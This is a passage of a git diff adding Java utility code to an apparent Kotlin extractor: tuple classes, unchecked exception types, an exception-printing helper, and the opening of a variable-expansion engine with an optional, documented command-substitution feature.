+ * Tuple of two typed elements.
+ * <p>
+ * Note that this is an extension of {@link Tuple1} and a super-class of {@link Tuple3} (and any
+ * subsequent additions).
+ * </p>
+ */
+public class Tuple2 <Type0, Type1> extends Tuple1<Type0>
+{
+	/**
+	 * Serializable variant of {@link Tuple2}.
+	 */
+	public static class SerializableTuple2<T0 extends Serializable, T1 extends Serializable>
+		extends Tuple2<T0, T1> implements Serializable {
+
+		private static final long serialVersionUID = 1624467154864321244L;
+
+		public SerializableTuple2() {
+		}
+
+		public SerializableTuple2(T0 t0, T1 t1) {
+			super(t0, t1);
+		}
+	}
+
+	private static final long serialVersionUID = -400406676673562583L;
+
+	/** The additional element contained by this {@link Tuple2}. */
+	protected Type1 _value1;
+
+	/** Construct a new {@link Tuple2} with null values. */
+	public Tuple2 () {}
+
+	/** Construct a new {@link Tuple2} with the given values. */
+	public Tuple2 (Type0 value0, Type1 value1)
+	{
+		super(value0);
+		_value1 = value1;
+	}
+
+	/** Construct a new {@link Tuple2} with the given value. */
+	public static <Type1, Type2> Tuple2<Type1, Type2> make(Type1 value0, Type2 value1)
+	{
+		return new Tuple2<Type1,Type2>(value0, value1);
+	}
+
+	/**
+	 * Get the second value in this {@link Tuple2}.
+	 */
+	public final Type1 value1 ()
+	{
+		return _value1;
+	}
+
+	@Override
+	protected Object value_ (int n)
+	{
+		return n == 2 ? _value1 : super.value_(n);
+	}
+
+	@Override
+	public int size ()
+	{
+		return 2;
+	}
+
+	@Override
+	public String toPlainString ()
+	{
+		return super.toPlainString() + ", " + (_value1 == null ? "" : _value1.toString());
+	}
+
+	@Override
+	public int hashCode ()
+	{
+		final int prime = 31;
+		int result = super.hashCode();
+		result = prime * result + ((_value1 == null) ? 0 : _value1.hashCode());
+		return result;
+	}
+
+	@Override
+	public boolean equals (Object obj)
+	{
+		return obj == this || (super.equals(obj) && equal(((Tuple2<?,?>)obj)._value1, _value1));
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/TupleN.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/TupleN.java
new file mode 100644
index 00000000000..a6b058316f7
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/TupleN.java
@@ -0,0 +1,85 @@
+package com.semmle.util.data;
+
+import java.io.Serializable;
+
+/**
+ * Untyped base-class for the generic {@link Tuple1}, {@link Tuple2}, ... <i>etc.</i>
+ * <p>
+ * This class also functions as a zero-element tuple.
+ * </p>
+ */
+public class TupleN implements Serializable
+{
+	private static final long serialVersionUID = -1799116497122427806L;
+
+	/**
+	 * Get the n'th value contained by this {@link TupleN}.
+	 *
+	 * @param n The zero-based index of the value to be returned.
+	 * @return The n'th value, or null if n is out of range.
+	 */
+	public final Object value (int n)
+	{
+		return n < 0 || n > size() ? null : value_(n);
+	}
+
+	/** Internal method for obtaining the n'th value (n is guaranteed to be in-range). */
+	protected Object value_ (int n)
+	{
+		return null;
+	}
+
+	/**
+	 * Get the number of values contained by this {@link TupleN}.
+	 */
+	public int size ()
+	{
+		return 0;
+	}
+
+	/**
+	 * Return a plain string representation of the contained value (where null is represented by the
+	 * empty string).
+	 * <p>
+	 * Sub-classes shall implement a comma-separated concatenation.
+	 * </p>
+	 */
+	public String toPlainString ()
+	{
+		return "";
+	}
+
+	/**
+	 * Get a parenthesized, comma-separated string representing the values contained by this
+	 * {@link TupleN}. Null values are represented by an empty string.
+	 */
+	@Override
+	public final String toString ()
+	{
+		return "(" + toPlainString() + ")";
+	}
+
+	@Override
+	public int hashCode ()
+	{
+		return 0;
+	}
+
+	@Override
+	public boolean equals (Object obj)
+	{
+		return obj == this || (obj !=null && obj.getClass().equals(getClass()));
+	}
+
+	/**
+	 * Convenience method implementing objects.equals(object, object), which is not available due to a
+	 * java version restriction.
+	 */
+	protected static boolean equal(Object obj1, Object obj2)
+	{
+		if (obj1 == null) {
+			return obj2 == null;
+		}
+		return obj1.equals(obj2);
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/CatastrophicError.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/CatastrophicError.java
new file mode 100644
index 00000000000..e3135ec280d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/CatastrophicError.java
@@ -0,0 +1,117 @@
+package com.semmle.util.exception;
+
+import java.util.Arrays;
+
+/**
+ * This is a standard Semmle unchecked exception.
+ * Usage of this should follow the guidelines described in docs/semmle-unchecked-exceptions.md
+ */
+public class CatastrophicError extends NestedError {
+
+	private static final long serialVersionUID = 4132771414092814913L;
+
+	public CatastrophicError(String message) {
+		super(message);
+	}
+
+	public CatastrophicError(Throwable throwable) {
+		super(throwable);
+	}
+
+	public CatastrophicError(String message, Throwable throwable) {
+		super(message,throwable);
+	}
+
+	/**
+	 * Utility method for throwing a {@link CatastrophicError} with the given {@code message} if the given
+	 * {@code condition} is true.
+	 */
+	public static void throwIf(boolean condition, String message)
+	{
+		if (condition) {
+			throw new CatastrophicError(message);
+		}
+	}
+
+	/**
+	 * Utility method for throwing a {@link CatastrophicError} if the given {@code object} is null.
+	 * <p>
+	 * See {@link #throwIfAnyNull(Object...)} which may be more convenient for checking multiple
+	 * arguments.
+	 * </p>
+	 */
+	public static void throwIfNull(Object object)
+	{
+		if (object == null) {
+			throw new CatastrophicError("null object");
+		}
+	}
+
+	/**
+	 * Utility method for throwing a {@link CatastrophicError} with the given {@code message} if the given
+	 * {@code object} is null.
+	 * <p>
+	 * See {@link #throwIfAnyNull(Object...)} which may be more convenient for checking multiple
+	 * arguments.
+	 * </p>
+	 */
+	public static void throwIfNull (Object object, String message)
+	{
+		if (object == null) {
+			throw new CatastrophicError(message);
+		}
+	}
+
+	/**
+	 * Throw a {@link CatastrophicError} if any of the given {@code objects} is null.
+	 * <p>
+	 * If a {@link CatastrophicError} is thrown, its message will indicate <i>all</i> null arguments by index.
+	 * </p>
+	 * <p>
+	 * See {@link #throwIfNull(Object, String)} which may be a fraction more efficient if there's only
+	 * one argument, and allows an 'optional' message parameter.
+	 * </p>
+	 */
+	public static void throwIfAnyNull (Object ... objects)
+	{
+		/*
+		 * Check each argument for nullity, and start building a set of index strings iff at least one
+		 * is non-null
+		 */
+		String[] nullArgs = null;
+		for (int argNum = 0; argNum < objects.length; ++argNum) {
+			if (objects[argNum] == null) {
+				nullArgs = nullArgs == null ? new String[1] : Arrays.copyOf(nullArgs, nullArgs.length+1);
+				nullArgs[nullArgs.length-1] = "" + argNum;
+			}
+		}
+		if (nullArgs != null) {
+			// Compose a message describing which arguments are null
+			StringBuffer strBuf = new StringBuffer();
+			if (nullArgs.length == 0) {
+				strBuf.append("null argument(s)");
+			} else {
+				strBuf.append("null argument" + (nullArgs.length > 1 ? "s: " : ": ") + nullArgs[0]);
+				for (int i = 1; i < nullArgs.length; ++i) {
+					strBuf.append(", " + nullArgs[i]);
+				}
+			}
+			String message = strBuf.toString();
+			throw new CatastrophicError(message);
+		}
+	}
+
+	/**
+	 * Convenience method for use in constructors that assign a parameter to a
+	 * field, assuming the former to be non-null.
+	 *
+	 * @param t A non-null value of type {@code T}.
+	 * @return {@code t}
+	 * @throws CatastrophicError if {@code t} is null.
+	 * @see #throwIfNull(Object)
+	 */
+	public static <T> T nonNull(T t) {
+		throwIfNull(t);
+		return t;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/Exceptions.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/Exceptions.java
new file mode 100644
index 00000000000..16a051537df
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/Exceptions.java
@@ -0,0 +1,120 @@
+package com.semmle.util.exception;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+
+/**
+ * Simple functions for printing exceptions. This is intended for use
+ * in debug output, not for formatting for user consumption
+ */
+public class Exceptions {
+
+	/**
+	 * Compose a String with the same format as that output by {@link Throwable#printStackTrace()}.
+	 */
+	public static String printStackTrace(Throwable t)
+	{
+		StringWriter stringWriter = new StringWriter();
+		t.printStackTrace(new PrintWriter(stringWriter));
+		return stringWriter.toString();
+	}
+
+	/**
+	 * Print an exception in a readable format with all information,
+	 * including the type, message, stack trace, and nested exceptions
+	 */
+	public static String print(Throwable t) {
+		return printDetailed(t, true);
+	}
+
+	/**
+	 * Print an exception in a somewhat readable format fitting on one line.
+	 * Most of the time simply using <code>print</code> is preferable
+	 */
+	public static String printShort(Throwable t) {
+		return printDetailed(t, false);
+	}
+
+	/**
+	 * Ignore an exception. This method does nothing, but should be called
+	 * (with a reasonable message) to document the reason why the exception does
+	 * not need to be used.
+	 */
+	public static void ignore(Throwable e, String message) {
+
+	}
+
+	/**
+	 * Print an exception in a long format, possibly producing multiple
+	 * lines if the appropriate flag is passed
+	 * @param multiline if <code>true</code>, produce multiple lines of output
+	 */
+	private static String printDetailed(Throwable t, boolean multiline) {
+		StringBuilder sb = new StringBuilder();
+
+		Throwable current = t;
+		while (current != null) {
+			printOneException(current, multiline, sb);
+			Throwable cause = current.getCause();
+			if (cause == current)
+				current = null;
+			else
+				current = cause;
+
+			if (current != null) {
+				if (multiline)
+					sb.append("\n\n ... caused by:\n\n");
+				else
+					sb.append(", caused by: ");
+			}
+		}
+
+		return sb.toString();
+	}
+
+	private static void printOneException(Throwable t, boolean multiline, StringBuilder sb) {
+		sb.append(multiline ? t.toString() : t.toString().replace('\n', ' ').replace('\r', ' '));
+		boolean first = true;
+		for (StackTraceElement e : t.getStackTrace()) {
+			if (first)
+				sb.append(multiline ? "\n" : " - [");
+			else
+				sb.append(multiline ? "\n" : ", ");
+			first = false;
+			sb.append(e.toString());
+		}
+		if (!multiline)
+			 sb.append("]");
+	}
+
+	/** A stand-in replacement for `assert` that throws a {@link CatastrophicError} and isn't compiled out. */
+	public static void assertion(boolean cond, String message) {
+		if(!cond)
+			throw new CatastrophicError(message);
+	}
+	
+	/**
+	 * Turn the given {@link Throwable} into a {@link RuntimeException} by wrapping it if necessary.
+	 */
+	public static RuntimeException asUnchecked(Throwable t) {
+		if (t instanceof RuntimeException)
+			return (RuntimeException)t;
+		else
+			return new RuntimeException(t);
+	}
+	
+	/**
+	 * Throws an arbitrary {@link Throwable}, wrapping in a runtime exception if necessary.
+	 * Unlike {@link #asUnchecked} it preserves subclasses of {@link Error}.
+	 */
+	public static <T> T rethrowUnchecked(Throwable t) {
+		if (t instanceof RuntimeException) {
+			throw (RuntimeException) t;
+		} else if (t instanceof Error) {
+			throw (Error) t;
+		}
+		throw new RuntimeException(t);
+	}
+
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/InterruptedError.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/InterruptedError.java
new file mode 100644
index 00000000000..0b4a21e9636
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/InterruptedError.java
@@ -0,0 +1,26 @@
+package com.semmle.util.exception;
+
+/**
+ * An exception thrown in cases where it is impossible to
+ * throw the (checked) Java {@link InterruptedException},
+ * eg. in visitors
+ */
+public class InterruptedError extends RuntimeException {
+
+	private static final long serialVersionUID = 9163340147606765395L;
+
+	public InterruptedError() { }
+
+	public InterruptedError(String message, Throwable cause) {
+		super(message, cause);
+	}
+
+	public InterruptedError(String message) {
+		super(message);
+	}
+
+	public InterruptedError(Throwable cause) {
+		super(cause);
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/NestedError.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/NestedError.java
new file mode 100644
index 00000000000..b35496a3f12
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/NestedError.java
@@ -0,0 +1,47 @@
+package com.semmle.util.exception;
+
+public abstract class NestedError extends RuntimeException {
+
+	private static final long serialVersionUID = -3145876396931008989L;
+
+	public NestedError(String message) {
+		super(message);
+	}
+
+	public NestedError(Throwable throwable) {
+		super(throwable);
+	}
+
+	public NestedError(String message, Throwable throwable) {
+		super(buildMessage(message, throwable), throwable);
+	}
+
+	/**
+	 * Subclasses should not need to call this directly -- just call the
+	 * two-argument super constructor.
+	 */
+	private static String buildMessage(String message, Throwable throwable) {
+		if (throwable == null)
+			return message;
+
+		while (throwable.getCause() != null && throwable.getCause() != throwable)
+			throwable = throwable.getCause();
+		String banner = "eventual cause: " + throwable.getClass().getSimpleName();
+		String rootmsg = throwable.getMessage();
+		if (rootmsg == null) {
+			// Don't amend the banner
+		} else {
+			int p = rootmsg.indexOf('\n');
+			if (p >= 0)
+				rootmsg = rootmsg.substring(0, p) + "...";
+			if (rootmsg.length() > 100)
+				rootmsg = rootmsg.substring(0, 80) + "...";
+			banner += " \"" + rootmsg + "\"";
+		}
+		if (message.contains(banner))
+			return message;
+		else
+			return message + "\n(" + banner + ")";
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/ResourceError.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/ResourceError.java
new file mode 100644
index 00000000000..eed3239b7ac
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/ResourceError.java
@@ -0,0 +1,30 @@
+package com.semmle.util.exception;
+
+/**
+ * This is a standard Semmle unchecked exception.
+ * Usage of this should follow the guidelines described in docs/semmle-unchecked-exceptions.md
+ */
+public class ResourceError extends NestedError {
+
+	private static final long serialVersionUID = 4132771414092814913L;
+
+	public ResourceError(String message) {
+		super(message);
+	}
+
+	@Deprecated // A ResourceError may be presented to the user, so should always have a message
+	public ResourceError(Throwable throwable) {
+		super(throwable);
+	}
+	
+	public ResourceError(String message, Throwable throwable) {
+		super(message,throwable);
+	}
+
+	@Override
+	public String toString() {
+		// The message here should always be meaningful enough that we can return that.
+		return getMessage() != null ? getMessage() : super.toString();
+	}
+	
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/exception/UserError.java b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/UserError.java
new file mode 100644
index 00000000000..8a5953c5214
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/exception/UserError.java
@@ -0,0 +1,46 @@
+package com.semmle.util.exception;
+
+/**
+ * This is a standard Semmle unchecked exception.
+ * Usage of this should follow the guidelines described in docs/semmle-unchecked-exceptions.md
+ */
+public class UserError extends NestedError {
+
+	private static final long serialVersionUID = 4132771414092814913L;
+
+	private final boolean reportAsInfoMessage;
+	
+	public UserError(String message) {
+		this(message, false);
+	}
+	
+	/**
+	 * A user-visible error
+	 * 
+	 * @param message The message to display
+	 * @param reportAsInfoMessage If <code>true</code>, report as information only - not an error
+	 */
+	public UserError(String message, boolean reportAsInfoMessage) {
+		super(message);
+		this.reportAsInfoMessage = reportAsInfoMessage;
+	}
+	
+	public UserError(String message, Throwable throwable) {
+		super(message,throwable);
+		this.reportAsInfoMessage = false;
+	}
+	
+	/**
+	 * If <code>true</code>, report the message without interpreting it as a fatal error
+	 */
+	public boolean reportAsInfoMessage() {
+		return reportAsInfoMessage;
+	}
+
+	@Override
+	public String toString() {
+		// The message here should always be meaningful enough that we can return that.
+		return getMessage() != null ? getMessage() : super.toString();
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/expansion/ExpansionEnvironment.java b/java/kotlin-extractor/src/main/java/com/semmle/util/expansion/ExpansionEnvironment.java
new file mode 100644
index 00000000000..a8008ca6299
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/expansion/ExpansionEnvironment.java
@@ -0,0 +1,893 @@
+package com.semmle.util.expansion;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.security.GeneralSecurityException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Properties;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.semmle.util.data.StringUtil;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.exception.UserError;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.process.Builder;
+import com.semmle.util.process.Env;
+import com.semmle.util.process.Env.Var;
+import com.semmle.util.process.LeakPrevention;
+
+/**
+ * An environment for performing variable expansions.
+ *
+ * <p>
+ * The environment is defined by a set of variable definitions, which are
+ * name/value pairs of strings. Once this has been populated (via the
+ * {@link #defineVar(String, String)} and {@link #defineVars(Map)} methods),
+ * arbitrary strings can be expanded.
+ * </p>
+ *
+ * <p>
+ * Two modes of expansion are supported:
+ * </p>
+ * <ul>
+ * <li>String mode ({@link #strExpand(String)}): The result is intended to be a
+ * single string.</li>
+ * <li>List mode ({@link #listExpand(String)}): The result will be interpreted
+ * as a command line, and hence is a list of strings.
+ * </ul>
+ *
+ * <p>
+ * Variables are referenced by <code>${name}</code> to trigger a string-mode
+ * expansion, and by <code>${=name}</code> to trigger a list-mode expansion.
+ * This makes {@code $} a meta-character, and so it has to be escaped; the
+ * escape sequence for it is <code>${}</code>.
+ * </p>
+ *
+ * <p>
+ * In list mode, strings are split in a platform-independent way similar (but
+ * not identical) to normal shell argument splitting. Runs of white-space
+ * separate arguments, and double-quotes can be used to protect whitespace from
+ * splitting. The escape character is backslash. All of these metacharacters
+ * have no special meaning in string mode.
+ * </p>
+ *
+ * <p>
+ * The {@code define*} and {@link #doNotExpand(String...)} methods of this
+ * class are not thread-safe; they mutate instance state in an unsynchronized
+ * way. By contrast, the expansion methods ({@link #strExpand(String)},
+ * {@link #strExpandVar(String)}, {@link #listExpand(String)},
+ * {@link #listExpandVar(String)} and {@link #varLookup(String)})
+ * are thread safe relative to each
+ * other. This means that it's fine to construct an expansion environment once,
+ * and then use it from multiple threads concurrently, as long as no new variables
+ * are defined. In addition, {@link #validate(String)} is safe to call once an
+ * {@link ExpansionEnvironment} is fully initialised, even concurrently.
+ * </p>
+ *
+ * <p>
+ * Upon encountering any error (malformed variable expansion, malformed quoted
+ * string (in list mode), reference to unknown variable, cyclic variable
+ * definitions), the {@link #strExpand(String)} and {@link #listExpand(String)}
+ * methods will throw {@link UserError} with a suitable message.
+ * </p>
+ *
+ * <p>
+ * As an advanced feature, command substitutions can be supported. They take the
+ * form of <code>$(cmd arg1 arg2)</code> for string-mode expansion, and
+ * <code>$(=cmd arg1
+ * arg2)</code> for list-mode. The contents of the <code>$(..)</code> operator
+ * undergo normal splitting, and are then run as a new process with the given
+ * list of arguments. The working directory is unspecified, and it is an error
+ * to depend upon it. A non-zero exit code, or a non-empty {@code stderr} stream
+ * of the command, will result in a {@link UserError} indicating that something
+ * went wrong; otherwise, the {@code stdout} output is collected and substituted
+ * (possibly undergoing splitting, in the second form).
+ * </p>
+ */
+public class ExpansionEnvironment {
+
+	/**
+	 * A source for variable definitions to be used in an expansion environment.
+	 */
+	public static interface VariableSource {
+		/**
+		 * A callback which is expected to add all variables in the source to
+		 * the given environment.
+		 *
+		 * @param env
+		 *            The environment that should be filled in.
+		 */
+		public void fillIn(ExpansionEnvironment env);
+	}
+
+	private final Map<String, String> vars = new LinkedHashMap<String, String>();
+
+	private final Set<String> unexpandedVars = new LinkedHashSet<String>();
+
+	private final boolean commandSubstitutions;
+
+	/**
+	 * Construct an empty {@link ExpansionEnvironment}.
+	 */
+	public ExpansionEnvironment(boolean commandSubstitutions) {
+		this.commandSubstitutions = commandSubstitutions;
+	}
+
+	/**
+	 * This the old default constructor, which always enables command substutitions.
+	 * <b>Doing so is a security risk</b> whenever the string you expand may come
+	 * from an untrusted source, so you should only do that when you explicitly want
+	 * to do it and have decided that it is safe. (And then use the constructor that
+	 * has an explicit argument to say so!)
+	 */
+	@Deprecated
+	public ExpansionEnvironment() {
+		this(true);
+	}
+
+	/**
+	 * Construct an environment based on an existing map.
+	 */
+	public ExpansionEnvironment(boolean commandSubstitutions, Map<String, String> vars) {
+		this(commandSubstitutions);
+		this.vars.putAll(vars);
+	}
+
+	/**
+	 * Construct a copy of an existing {@link ExpansionEnvironment}.
+	 */
+	public ExpansionEnvironment(ExpansionEnvironment other) {
+		this(other.commandSubstitutions);
+		this.vars.putAll(other.vars);
+		this.unexpandedVars.addAll(other.unexpandedVars);
+	}
+
+	/**
+	 * Add a set of variable definitions to this environment.
+	 *
+	 * @param vars
+	 *            A mapping from variable names to variable values. Recursive
+	 *            variable references are allowed, but cycles are an error.
+	 */
+	public void defineVars(Map<String, String> vars) {
+		this.vars.putAll(vars);
+	}
+
+	/**
+	 * Add the specified variable definition to this environment.
+	 *
+	 * @param name
+	 *            A variable name.
+	 * @param value
+	 *            The value that the variable should expand to. References to
+	 *            other variables or expansions are allowed, but cycles are an
+	 *            error.
+	 */
+	public void defineVar(String name, String value) {
+		this.vars.put(name, value);
+	}
+
+	/**
+	 * Try to load a file as a Java properties file and add all of its key/value
+	 * pairs as variable definitions.
+	 *
+	 * @param vars
+	 *            A {@link File} that will be loaded as a Java properties file,
+	 *            if it exists. May be <code>null</code> or a file whose
+	 *            existence has not been checked.
+	 * @throws ResourceError
+	 *             if the file exists but can't be read, or exists as a
+	 *             directory, or reading it fails.
+	 */
+	public void defineVarsFromFile(File vars) {
+		if (vars == null || !vars.exists())
+			return;
+
+		if (vars.isDirectory())
+			throw new ResourceError(vars
+					+ " is a directory, cannot load variables from it.");
+
+		Properties properties = FileUtil.loadProperties(vars);
+		for (String key : properties.stringPropertyNames())
+			defineVar(key, properties.getProperty(key));
+	}
+
+	/**
+	 * Add a variable definition of {@code env.foo=bar} for each system
+	 * environment variable {@code foo=bar}. Typically it is desirable to allow
+	 * the environment to override previously specified variables, so this
+	 * should be called once all other variables have been defined.
+	 *
+	 * <p>
+	 * The values of variables taken from the environment are escaped to prevent
+	 * recursive expansion; in particular, this prevents accidental command
+	 * execution if a command substitution is encountered in the environment.
+	 * </p>
+	 */
+	public void defineVarsFromEnvironment(Env environment) {
+		String extraVars = environment.get(Var.ODASA_EXTRA_VARIABLES);
+		if (extraVars != null)
+			defineVarsFromFile(new File(extraVars));
+
+		for (Entry<String, String> var : environment.getenv().entrySet())
+			defineVar("env." + var.getKey(), var.getValue().replace("$", "${}"));
+
+		environment.addEnvironmentToNewEnv(this);
+	}
+
+	/**
+	 * Indicate that references to the given set of variable names should not be
+	 * expanded. This means that they need not be defined, and the output will
+	 * contain the literal variable expansion sequences.
+	 *
+	 * @param vars
+	 *            A list of variable names.
+	 */
+	public void doNotExpand(String... vars) {
+		for (String var : vars)
+			unexpandedVars.add(var);
+	}
+
+	/**
+	 * Supply a "default value" for a variable, meaning that the variable will
+	 * be set to the given default value if it hasn't already been defined. No
+	 * change is made to this environment if a definition exists.
+	 * @param var A variable name.
+	 * @param defaultValue The default value for the named variable.
+	 */
+	public void setDefault(String var, String defaultValue) {
+		if (!vars.containsKey(var))
+			vars.put(var, defaultValue);
+	}
+
+	/**
+	 * Expand the given string in "string mode", resolving variable references
+	 * and command substitutions.
+	 */
+	public String strExpand(String s) {
+		try {
+			return new Expander().new ExpansionParser(s).parseAsString().expandAsString();
+		} catch (UserError e) {
+			throw new UserError("Failed to expand '" + s + "'.", e);
+		}
+	}
+
+	/**
+	 * Expand the given string in "list mode", resolving variable references and
+	 * command substitutions.
+	 */
+	public List<String> listExpand(String s) {
+		try {
+			return new Expander().new ExpansionParser(s).parseAsList().expandAsList();
+		} catch (UserError e) {
+			throw new UserError("Failed to expand '" + s
+					+ "' as an argument list.", e);
+		}
+	}
+
+	/**
+	 * Expand the given variable fully in "string mode", resolving variable
+	 * references and command substitutions. The entire string is interpreted as
+	 * the name of the initial variable.
+	 */
+	public String strExpandVar(String varName) {
+		return new Expander().new Variable(varName).expandAsString();
+	}
+
+	/**
+	 * Expand the given variable fully in "list mode", resolving variable
+	 * references and command substitutions. The entire string is interpreted as
+	 * the name of the initial variable.
+	 */
+	public List<String> listExpandVar(String varName) {
+		return new Expander().new SplitVariable(varName).expandAsList();
+	}
+
+	/**
+	 * Validate the given string for expansion. This verifies the absence of
+	 * parse errors, and the fact that all directly referenced variables are
+	 * defined by this environment.
+	 *
+	 * <p>
+	 * Expansion using {@link #strExpand(String)} or {@link #listExpand(String)}
+	 * may still not succeed, if there are semantic errors (like circular
+	 * variable definitions) or a command substitution introduces a reference to
+	 * an undefined variable.
+	 * </p>
+	 *
+	 * @param str
+	 *            A string that should be validated.
+	 * @throws UserError
+	 *             if validation fails, with a suitable error message.
+	 */
+	public void validate(String str) {
+		new Expander().new ExpansionParser(str).parseAsList().validate();
+	}
+
+	/**
+	 * Look up the (raw) value of a given variable, without performing expansion
+	 * on it.
+	 *
+	 * @param name
+	 *            The variable name.
+	 * @return The value that this variable is mapped to.
+	 * @throws UserError
+	 *             if the variable is not defined.
+	 */
+	public synchronized String varLookup(String name) {
+		String value = vars.get(name);
+		if (value == null) {
+			ArrayList<String> available = new ArrayList<String>(vars.keySet());
+			Collections.sort(available);
+			throw new UserError("Attempting to expand unknown variable: "
+					+ name + ", available variables are: " + available);
+		}
+		return value;
+	}
+
+	/**
+	 * Check whether this environment defines a variable of the given name, without
+	 * performing expansion on it -- such full expansion may still fail.
+	 *
+	 * @param name The variable name.
+	 * @return <code>true</code> if this environment contains a direct definition
+	 */
+	public boolean definesVar(String name) {
+		return vars.containsKey(name);
+	}
+
+	private static class ExpansionTokeniser {
+		/**
+		 * The delimiters which should be returned as their own tokens. Order of
+		 * alternatives matters! The recognised tokens are, in order:
+		 *
+		 * <ul>
+		 * <li>{@code \\}</li>
+		 * <li>{@code \"}</li>
+		 * <li>{@code "}</li>
+		 * <li><code>${}</code></li>
+		 * <li><code>${=</code></li>
+		 * <li><code>${</code></li>
+		 * <li><code>$(=</code></li>
+		 * <li><code>$(</code></li>
+		 * <li><code>$</code></li>
+		 * <li><code>}</code></li>
+		 * <li><code>)</code></li>
+		 * <li>Runs of whitespace.</li>
+		 * </ul>
+		 *
+		 * <p>
+		 * By defining the alternatives in this order, longer matches will be
+		 * preferred, so that checking for escape sequences is easy. Note that
+		 * in the regular expression source, a literal {@code \} must undergo
+		 * two levels of escaping: Java strings and regular expression
+		 * metacharacters; it thus becomes {@code \\\\}.
+		 */
+		private static final Pattern delims = Pattern
+				.compile("\\\\\\\\|\\\\\"|\"|\\$\\{\\}|\\$\\{=|\\$\\{|"
+						+ "\\$\\(=|\\$\\(|\\$|\\}|\\)|\\s+");
+
+		private final List<String> tokens = new ArrayList<String>();
+		private final int[] positions;
+		private int nextToken = 0;
+
+		public ExpansionTokeniser(String str) {
+			Matcher matcher = delims.matcher(str);
+			StringBuffer tmp = new StringBuffer();
+			while (matcher.find()) {
+				matcher.appendReplacement(tmp, "");
+				if (tmp.length() > 0) {
+					tokens.add(tmp.toString());
+					tmp = new StringBuffer();
+				}
+				tokens.add(matcher.group());
+			}
+			matcher.appendTail(tmp);
+			if (tmp.length() > 0)
+				tokens.add(tmp.toString());
+
+			positions = new int[tokens.size()];
+			int pos = 0;
+			for (int i = 0; i < tokens.size(); i++) {
+				positions[i] = pos;
+				pos += tokens.get(i).length();
+			}
+		}
+
+		public boolean hasMoreTokens() {
+			return nextToken < tokens.size();
+		}
+
+		public String nextToken() {
+			return tokens.get(nextToken++);
+		}
+
+		public boolean isDelimiter(String token) {
+			return delims.matcher(token).matches();
+		}
+
+		public int pos() {
+			return positions[nextToken - 1] + 1;
+		}
+	}
+
+	/**
+	 * A wrapper around the various expansion classes, holding some expansion
+	 * state to detect things like circular variable definitions.
+	 */
+	private class Expander {
+
+		private final Set<String> expansionsInProgress = new LinkedHashSet<String>();
+
+		/**
+		 * A string expansion. This can be a literal string, a variable reference or
+		 * a command substitution; the latter two can optionally be "split". Each
+		 * expansion can be interpreted to yield a single string or a list of
+		 * strings (typically as program arguments).
+		 */
+		abstract class Expansion {
+			public abstract String expandAsString();
+
+			public abstract List<String> expandAsList();
+
+			public abstract void validate();
+		}
+
+		class Sentence extends Expansion {
+			private final List<List<Expansion>> words = new ArrayList<List<Expansion>>();
+
+			public Sentence(List<List<Expansion>> words) {
+				this.words.addAll(words);
+			}
+
+			@Override
+			public void validate() {
+				for (List<Expansion> expansions : words)
+					for (Expansion expansion : expansions)
+						expansion.validate();
+			}
+
+			private String expandWord(List<Expansion> word) {
+				StringBuilder result = new StringBuilder();
+				for (Expansion e : word)
+					result.append(e.expandAsString());
+				return result.toString();
+			}
+
+			@Override
+			public String expandAsString() {
+				StringBuilder result = new StringBuilder();
+
+				for (List<Expansion> word : words) {
+					if (result.length() > 0)
+						result.append(' ');
+					result.append(expandWord(word));
+				}
+
+				return result.toString();
+			}
+
+			@Override
+			public List<String> expandAsList() {
+				List<String> result = new ArrayList<String>();
+
+				for (List<Expansion> word : words) {
+					List<List<String>> segments = new ArrayList<List<String>>();
+					for (Expansion e : word) {
+						segments.add(e.expandAsList());
+					}
+					result.addAll(glue(segments));
+				}
+
+				return result;
+			}
+
+			/**
+			 * This is a non-quadratic implementation of the following Haskell code:
+			 *
+			 * <pre>
+			 * <code>
+			 * glue :: [[String]] -&gt; [String]
+			 * glue = foldr join []
+			 *     where join [] xs = xs
+			 *           join xs [] = xs
+			 *           join xs ys = init xs ++ [last xs ++ head ys] ++ tail ys
+			 * </code>
+			 * </pre>
+			 */
+			private List<String> glue(List<List<String>> segments) {
+				String trailingWord = null;
+				List<String> result = new ArrayList<String>();
+				for (List<String> segment : segments)
+					trailingWord = glue_join_accum(result, segment, trailingWord);
+
+				if (trailingWord != null)
+					result.add(trailingWord);
+
+				return result;
+			}
+
+			private String glue_join_accum(List<String> result,
+					List<String> segment, String trailingWord) {
+				int n = segment.size();
+				switch (n) {
+				case 0:
+					return trailingWord;
+				case 1:
+					return combine(trailingWord, segment.get(0));
+				default:
